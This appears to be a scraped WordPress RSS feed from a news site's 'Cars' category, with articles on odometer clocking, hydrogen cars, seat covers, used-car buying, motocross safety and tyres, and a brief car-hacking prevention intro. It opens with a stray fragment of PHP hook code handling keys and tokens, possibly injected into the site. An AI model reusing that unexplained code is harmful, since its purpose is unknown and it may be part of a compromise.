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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cars – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 24 Mar 2020 15:23:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Cars – Brief News https://briefnews.eu 32 32 Car Dealer Fined Again For Selling A Clocked Vehicle – Are You At Risk Of Buying One? https://briefnews.eu/car-dealer-fined-again-for-selling-a-clocked-vehicle-are-you-at-risk-of-buying-one/ https://briefnews.eu/car-dealer-fined-again-for-selling-a-clocked-vehicle-are-you-at-risk-of-buying-one/#respond Tue, 24 Mar 2020 15:23:54 +0000 https://briefnews.eu/?p=258792

A UK-based car dealer has been fined £14,000 (€15,350) after being caught selling a clocked car for the second time. Oldham-based S Cars were taken to court after the mileage on an Audi Q7 they sold dropped by 30,000. Cars with incorrect mileage are an all too common occurrence in the UK, with tests finding that 18% of cars have had their mileage tampered with. So, when you’re next shopping for a car, it’s crucial that you know how to tell a clocked motor from a genuine one.

Check old MOT certificates

S Cars purchased the clocked Audi Q7 from an auction, and previous MOT certificates clearly showed that the mileage had dropped. As the dealer didn’t investigate and proceeded to sell the car on, they were deemed at fault and put on trial for their wrongdoings. Thankfully, it’s easy to avoid falling victim to similar behavior from a car dealer. Once a vehicle in the UK is three years old, it legally has to have an MOT test to ensure that it’s road-safe. During this test, the current mileage is recorded by the testing station. You can check the mileage recorded of all British vehicles dating back to 2005 on the Gov.uk website for free, so you should always do this to check that the mileage is consistent.

Know the vehicles that are most likely to be clocked

You should carefully consider the reliability of a vehicle before you buy it. Performance and quality should also be high on your list of priorities. Cars that rate well will typically give you very few problems and ensure you get from A to B over and over again. However, reliable vehicles such as the Toyota Yaris and Renault Clio are two of the most commonly clocked vehicles, so you need to ensure that you spend a little extra time shopping around for a dependable vehicle that hasn’t had its mileage tampered with. To be extra safe, you might want to avoid these popular cars and opt for a vehicle that’s less popular but just as trustworthy, such as a Ssangyong.

Inspect the car’s condition

The condition of both the inside and outside of a vehicle can be a telltale sign as to whether it has been clocked or not. Vehicles that have done a lot of miles tend to have multiple dents, scratches and other imperfections. The inside of the vehicle is also likely to show signs of wear and tear on and around the seating areas. You might think that buying a clocked car isn’t an issue as long as it’s in full working order, but the more miles that a car has done, the more it will cost you in the long run, as mechanical issues are likely to occur. The Express reports that this ultimately costs drivers an extra £800 million (€865 million) per year as they are forced to pay out for costly repairs.

Thousands of motors in the UK have had their mileage clocked. And while this might not sound like the worst offense, it is costly and could potentially put you at risk, so it’s important that you know how to identify one and that legal action continues to take place.

]]> https://briefnews.eu/car-dealer-fined-again-for-selling-a-clocked-vehicle-are-you-at-risk-of-buying-one/feed/ 0 How Do Hydrogen Cars Work? [INFOGRAPHIC] https://briefnews.eu/how-do-hydrogen-cars-work-infographic/ https://briefnews.eu/how-do-hydrogen-cars-work-infographic/#respond Wed, 19 Feb 2020 07:53:23 +0000 http://briefnews.eu/?p=258132 Move over, electric vehicles: there’s a new energy-efficient alternative vehicle hitting the roads. Hydrogen cars (H2s) are ones whose motor is powered by hydrogen fuel cells as opposed to gasoline. Fuel cells create electricity through a REDOX reaction, which then produces eco-friendly emissions and provides long fuel range and fast refueling. 

The biggest setback to hydrogen vehicles is the logistics, as hydrogen refueling stations will need to be built around the world. There’s also a high cost of production since manufacturing is currently limited — but these issues aren’t stopping leading car manufacturers such as Toyota and Honda from investing in the technology.

Interested in learning more about how hydrogen cars work? Check out the animated visual from The Zebra below to learn more about the pros and cons of this cutting edge transportation technology!   

Infographic was originally published on TheZebra.com.

How do hydrogen cars work?

]]> https://briefnews.eu/how-do-hydrogen-cars-work-infographic/feed/ 0 Luxury Car Hire in Delhi https://briefnews.eu/luxury-car-hire-in-delhi/ https://briefnews.eu/luxury-car-hire-in-delhi/#respond Thu, 16 Jan 2020 08:03:36 +0000 http://briefnews.eu/?p=257554

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]]> https://briefnews.eu/how-to-count-to-ten-in-korean/feed/ 0 How One Should Buy Seat Covers For Cars https://briefnews.eu/how-one-should-buy-seat-covers-for-cars/ https://briefnews.eu/how-one-should-buy-seat-covers-for-cars/#respond Wed, 21 Aug 2019 09:01:41 +0000 http://briefnews.eu/?p=254629

So you think that seat covers for cars are just a regular accessory for the cars and there is nothing special about them so why should I feel concerned about buying them? Well, car seat covers are one of the most important things in any vehicle’s interior. Car seats are the most common part of the car with which you interact the most. What if something is spilt on them can you drive with the moist’ What if you have to clean your car seats in the harsh winter weather is it possible for you to do that every day?

If your answer is what most of the people will give NO’ then car seat covers are what do you need to avoid that situation. With the help of a car seat cover, you will not have to worry about such issues. Also, you can clean the pet’s hairs with the help of the vacuum cleaner but what about the nails pocking which can be happened to your new seats? This is why you should buy simple seat covers for car and here is what you need to know.

Types of Seat Covers for Cars

There are different types of car seat covers to choose from but most commonly you will find the universal fit and custom fit. When we say the universal fit is more about the type of cars which were released some yours back. There was a time when car seats were almost identical in car types. There standard size for the cars from SUVs to coupes the car seats had default size which encouraged the car seat cover makers to design covers according to seat types and they were labeled as universal fit.

You can get them from almost every car accessories store online or retailers and especially best for those who don’t really care about the interior design and can go with any type then you should opt for universal fit. From Nissan, Honda to ford and Mitsubishi the measurement were same and the customer can easily go with the universal fit however with the passage of time there was tons of different car design and each car has different measurement which is why using universal fit seat covers for cars became obsolete. Another problem with universal car seat covers is the fact that they sometimes don’t fit on the seats very well and look weird, to be honest. So try to avoid that won’t fit on your car seats.

 Custom Fit Covers

Perhaps the hottest option that one can have or opt for when it comes to best seat covers, there are practically infinite designs, colours and options to choose from when it comes to custom covers. They can be designed according to your choice, colour, and material. They are tailored to fit perfectly on the seats of your vehicle so not only they look perfect but gives you the opportunity to select a style that you think speak about your fandom, your lifestyle and your mind. They cost different according to the material choice, design complexity, and overall fit.

However, a custom car seat cover can even be found at an affordable price as well. In the end, If you aren’t into the interior of the car interior then you can go with universal fit otherwise custom fit should fit you. Get your high-quality custom-fit covers and other seat covers for cars from Carcoverworld and enjoy new interior without spending much.

]]> https://briefnews.eu/how-one-should-buy-seat-covers-for-cars/feed/ 0 Things About Cars You Need to Know https://briefnews.eu/things-about-cars-you-need-to-know/ https://briefnews.eu/things-about-cars-you-need-to-know/#respond Tue, 23 Jul 2019 07:12:51 +0000 http://briefnews.eu/?p=254064

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Buying a used car is a great financial move which can help you save more money than ever before, but it also involves more risk and unknowns than looking for a new car. If you’re willing to put in the time, you can find a great price on a car without any major maintenance needs.

It’s important to be fully informed when buying a new car in order to avoid common mistakes and potential problems that could require a personal injury lawyer prior to  making any kind of commitment. Continue reading to learn the best tips for getting a good deal on your next used car purchase.

Finding a Good Price

Knowledge is power when it comes to negotiation, so it’s important to figure out a fair price for local cars before you start talking to any sellers. This gives you a good idea of what to expect, and you’ll know immediately if anyone tries to charge too much for their car.

Fortunately, there are a number of helpful resources to help you determine a car’s value and what other buyers have paid. You can also check current and recent eBay listings to provide concrete evidence of the car’s current price—as long as you know the real value, you won’t be taken advantage of by unscrupulous sellers.

Vehicle History

Once you settle on a specific car, you can use one of many services to learn about its history. While you can get a vehicle history report on your own with the car’s VIN (vehicle identification number), reputable dealers are generally willing to do this themselves. A seller who won’t get a report or give you the number to do it on your own isn’t worth buying from.

Professional Inspection

The vehicle history report should alert you to any issues, but you should also contact a mechanic for a more thorough inspection. They’ll use a lift to get a full look at the car and make sure there isn’t any unreported damage—this eliminates the risk of unknown major damage and expensive repairs, and inspections usually don’t cost more than around $100.

Negotiation

With this knowledge, you’ll be ready to negotiate with full awareness of the facts about the car and a fair price range in mind. Never start the negotiation process until you’ve taken the time to learn everything relevant about the vehicle.

Used car salesmen work on commission and can be harder to negotiate with, so you can start by talking to the dealership’s online sales manager to get a more transparent idea of their price. Remember to double check that the dealer has the car’s title during the negotiation phase, and ask about any available warranties if you’re interested.

Buying a used car can be complicated, but it should go smoothly as long as you’ve taken the time to learn about the vehicle and prepare yourself for negotiation. These tips will help you navigate the process and get a great deal on your next used car.

]]> https://briefnews.eu/things-about-cars-you-need-to-know/feed/ 0 Always Be Prepared: Five Motocross Safety Guidelines To Remember https://briefnews.eu/always-be-prepared-five-motocross-safety-guidelines-to-remember/ https://briefnews.eu/always-be-prepared-five-motocross-safety-guidelines-to-remember/#respond Tue, 23 Jul 2019 05:56:54 +0000 http://briefnews.eu/?p=254011 Article was originally published on MXStore.

Safety is everyone’s concern, whether you’re a motocross racer or a spectator. Accidents happen, but you can prevent them in some cases by keeping on top of bike maintenance by replacing worn or broken dirt bike parts, wearing the right motocross protective gear and keeping up to date on the rules and regulations. Many tracks have their own set of safety guidelines which should be covered at every riders briefing and in larger events the supplementary regulations issued with your entry forms, this ensures your safety the safety your fellow racers on the track.

In any form of motorcycle riding or competing, a rider must first and foremost take the conditions and their own ability into consideration. A rider with little experience may sometimes ride outside of their comfort level which more often than not doesn’t end well. No matter what your skill level it is highly recommended to participate in some professional coaching, especially if you are a beginner and want to start racing.

 

HERE ARE 5 TIPS ON SAFETY EVERY MOTOCROSS RIDER SHOULD BE FAMILIAR WITH:

  1. Be aware of the track’s safety rules.

Before you are allowed anywhere near a racetrack to compete you would first have to obtain your racing licence. In order to get your licence there is a written test and also a physical riding assessment to prove you are capable and confident on a motorbike. The written exam covers racing rules and track etiquette, the flag signals which are used to control the flow of the competitors (particularly during the event of an accident and the actions to take depending on the situation), and the flags being displayed. Every genre of motorcycle competition will have different rules to abide by so getting a clear understanding of them will improve the level of safety when competing and may also prevent you from being penalised during a race for not following the rules.
 

  1. Refresh your knowledge about the flags and their respective meanings.

Races have different flags that signal riders about certain conditions. Other than the colour, flag held at certain angles also have specific meanings.  A yellow flag, for example, says ‘Danger.’ When held stationary, it means you should ‘ride with caution.’ There are also instances when the yellow flag is waved. This says there’s immediate danger and that riders should prepare to stop without overtaking.

There are different types of flags for every instance. You should know the meanings of each one, so you know what to do every time an official raises or moves a certain flag. This way, you don’t incur penalties or get caught up in an accident which has already taken place.

  1. Look into private health cover and/or personal injury insurance.

It pays to have insurance coverage which will assist you in the event of an injury. There are a number of different options available but aim to choose an insurance policy that covers sports injuries and has ambulance cover, a policy which covers chiropractic and physiotherapy is also a good idea. You can get insurance to cover your wages if you are injured and have to take an extended period of time off work. There are a number of companies to choose from so do your research before you make your choice!

Chad Reed Crash Millville

 

  1. Wear The Right Motocross Protective Gear.

 

The most important piece of safety gear you will own is your motocross helmet, particularly one which fits you correctly. There are a range of helmets available all of which are made up of different materials so spending the time to research and learn what separates a good helmet from a great one should be a big priority for every rider. Good quality motocross boots with strong lateral ankle support should also be a priority as your feet are always the closest body part to the ground. You don’t even need to have a crash to sustain a leg injury so this is an important piece of safety gear!

Motocross Neck braces are a more recent invention but are regarded as one of the biggest technological breakthroughs in safety gear since tri-composite helmets! Goggles, motocross gloves and a good quality motocross gear set will help keep you protected on the bike. There are a range of different chest protectors, body armour, back protectors and kidney belts to protect your torso and internal organs. Depending on the genre of riding you are participating in will determine what will be most suitable for you.

 

Red Bull Rider Crash

 

Anyone who has had a knee injury will tell you knee braces are a must, you can significantly reduce the severity of knee ligament damage with a strong set of braces which may save you needing major surgery. A lesser model of the brace are elbow guards and knee guards which reduce impact and abrasion type injuries.

  1. Keep your motorcycle in good condition.

Any form of motorcycle riding will result in wear and tear on your machinery and gear. Plan ahead and schedule proper maintenance of the engine and other moving parts. Adding an hour meter to your bike will help keep track of the amount of work your bike has done so you will have a better understanding on when it is due for servicing, rebuilds and for 4 stroke machines checking valve clearances. There are also many external moving parts with chains, sprockets, suspension, spokes and linkage bearing kits which all need frequent cleaning, lubrication, tensioning and sometimes replacement. Keeping a notebook and recording when you check, service and maintain all of these is a good idea to ensure your bike always runs to its full potential with less change of mechanical failure.

Above all motocross safety shouldn’t be taken for granted. Check out our many other articles we have here at MXstore which are full of useful information from tips, user guides and in depth explanations on specific safety gear. MXstore stocks a massive range of quality riding gear, protective gear, bike parts and bike accessories. If there is anything regarding safety gear including fitment or riding schools which you would like more information don’t hesitate to Contact us and MXstore employees will help you find the right gear for your needs.

]]> https://briefnews.eu/always-be-prepared-five-motocross-safety-guidelines-to-remember/feed/ 0 How To: Choose The Right Motocross Tyre https://briefnews.eu/how-to-choose-the-right-motocross-tyre/ https://briefnews.eu/how-to-choose-the-right-motocross-tyre/#respond Tue, 23 Jul 2019 05:51:45 +0000 http://briefnews.eu/?p=254000 Article was originally published on MXStore.

The majority of content written on the side of a Dirt Bike Tyre is to help identify what size, model and terrain the tyre is suited to. The first series of numbers you will need to learn are the ones which relate to sizing followed closely by the tread pattern the tyre is suited to.

 

HOW TO CHOOSE THE RIGHT SIZE MOTOCROSS TYRE:

The sequence of numbers which give you the tyre sizing are set to give you first the tyre width, then the tyre wall height and finally the circumference of the rim the tyre will fit onto. (See example below)

110/90-19

The “110” refers to the width of the tyre in millimetres as does the “90” which refers to the wall height as a percentage of the width of the tyre. The “19” refers to the circumference of the rim which the tyre suits in an inch measurement. (Some variations of this are listed below)

  • 100/90-19
  • 130/90-18
  • 80/90-21
  • 120/90-19

 

Standard Dirt Bike Tyre Sizes

The majority of full sized dirt bikes in the world run a 21” front tyre and most motocross bikes run a 19” rear. Trail bikes vary with many running an 18” on the rear to suit the different types of terrain covered in enduro.

An 18” wheel typically has a taller wall height, the taller the tyre wall means the more the tyre can flex and roll which lowers performance through corners. Contrary to this the added flex gives a smoother, more controlled ride over tree roots and rocks which you encounter more on enduro.

Wider tyres make the bike harder to turn, the wider the foot print the more it will want to stay upright which can cause a “front end push” feeling through turns. Also for soft terrain or rutted tracks a wider tyre will struggle to fit into ruts easily which will affect your performance.

A wide tyre comes into its own on hardpack dry conditions, a wider footprint means more grip providing the tread pattern and tyre rubber compound are suited.

No matter what bike you have it should have the wheel sizing written on its tyres to identify what you have. Then its a matter of narrow down the tyre you need by thinking about what type of terrain you ride on most.

It is important to choose the right sized tyre recommended for your particular bike. If you decide to run a wider than normal tyre on a narrow rim the performance of the tyre will be compromised as the shape of the tyre carcass will have been changed as it is manipulated to fit onto the odd size of the rim. The same applies if you put a narrow tyre on a wide rim it will push the tyre wall out and change the tyres’ footprint which will effect performance and grip!

 

How to choose the right tread pattern of motocross tyre:

Different tyres suit different conditions, hard terrain tyres require more knobs with a larger, shorter block close together to increase the footprint which gives you grip. Soft terrain requires fewer knobs with a smaller, taller block which are spaced further apart to allow the tyre to dig into the soft terrain giving you more grip.

 

Sand tyre on a motocross bike

 

HARDER RUBBER COMPOUNDS SUIT SOFT TERRAIN SURFACES WHILE SOFTER RUBBER COMPOUNDS SUIT HARDER SURFACES.

Similar to muddy conditions the added advantage of larger spacing between the knobs allows the tyre to self clean easier. As the tyre spins the mud collected will fling off so the clean knobs bite into more terrain every revolution.

But with the varying nature of dirt bike riding means you will usually encounter an array of different terrain, so unless you have a factory race teams’ budget for tyres you will more than likely need to settle for an intermediate which will handle most things you can throw at it.

Have a good think about the terrain you are riding on most as with an intermediate tyre there will always be a compromise in performance in one terrain compared to another so choose wisely!

 

HOW OFTEN SHOULD YOU REPLACE YOUR MOTOCROSS TYRES:

Like anything tyres have a finite lifespan, the shelf life of a tyre is around 4 years from manufacture but if you are riding regularly this will be much quicker!

You can check your tyres by simply looking at them, if the knobs are rounded down or short they aren’t going to perform very well. Knobs can actually crack and become ripped off completely so if you are missing any knobs you are up for a new set of tyres.

If you ride frequently this will occur quickly but if you only ride on the odd occasion (poor you) you will need to keep an eye on the health of the rubber. Over time the rubber will become dry, cracked or discoloured. New tyres have a very dark colour which fades out to a grey with age, the older the tyre the harder and more brittle the rubber becomes which will effect performance.

A hard terrain tire is made of a softer compound to give you more grip on hard and slick surfaces, whereas a soft terrain tire is made of harder compounds so the tire can dig in more for traction. If you don’t always know what terrain greets you on riding day or you typically end up riding both hard and soft terrain, grab a set of intermediate tyres.

Worn out dirt bike tyre

THE MOST IMPORTANT POINT OF TYRE MAINTENANCE IS TYRE PRESSURE:

The correct pressure to inflate your dirt bike tubes to will vary from track to track but the majority of dirt bike tyres run between 10-20psi. If you aren’t sure you can check your owner’s manual, the harder you inflate your tyre the less grip you will have. If your tyre is too soft it will give a very spongey feel and roll more on the rim through corners affecting your performance.

Inflating your tyres to around 16psi tends to be a popular choice but again, check your owner’s manual and if you are at a track don’t be scared to ask other riders. You should check your tyre pressures before every time you throw your leg over your bike as they can vary a lot every hour and this will affect your performance a great deal!

OTHER ISSUES YOU CAN ENCOUNTER WITH INCORRECT TYRE PRESSURES ARE:

  • Tube or tyre failure, punctures
  • Cause uneven tyre wear
  • Under inflation can cause the tyre to come off the bead

 

DO NEW MOTOCROSS TYRES HAVE A BREAK IN PERIOD?

There is no break in period for new motocross tyres, however we do suggest to ease into riding on a fresh set of rubber particularly if you have changed size, tread, brand or rubber compound. Get a feel for your new shoes to work out how well they hang on before you go full throttle into a corner or you may end up on the ground before you have even worked up a sweat!

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]]> https://briefnews.eu/how-to-choose-the-right-motocross-tyre/feed/ 0 Car hacking methods + prevention tips [INFOGRAPHIC] https://briefnews.eu/car-hacking-methods-prevention-tips-infographic/ https://briefnews.eu/car-hacking-methods-prevention-tips-infographic/#respond Wed, 05 Jun 2019 13:24:19 +0000 http://briefnews.eu/?p=253140 Cars are becoming increasingly fueled by tech as the landscape transitions away from gasoline and towards electric vehicles. And just like other electronic devices like computers and phones, cars can be hacked if the proper cybersecurity measures aren’t taken.

In fact, white-hat hackers have demonstrated the ability to control steering, brakes, and dashboard functions from the backseat of the car or even from a remote location. And while traditional break-ins are far more common for the time being, it’s still important to be aware of potential car security threats. Luckily, many companies such as Tesla, Ford, and GM have already taken steps to address car hacking threats. The more you know, the more you can do to protect your vehicle’s cybersecurity.

The animated infographic below from Esurance demonstrates five ways a car can be hacked, from keyless entry remotes to entertainment systems. It then offers prevention tips and gives suggestions on steps you can take in the rare occurrence that you believe your vehicle has been hacked.

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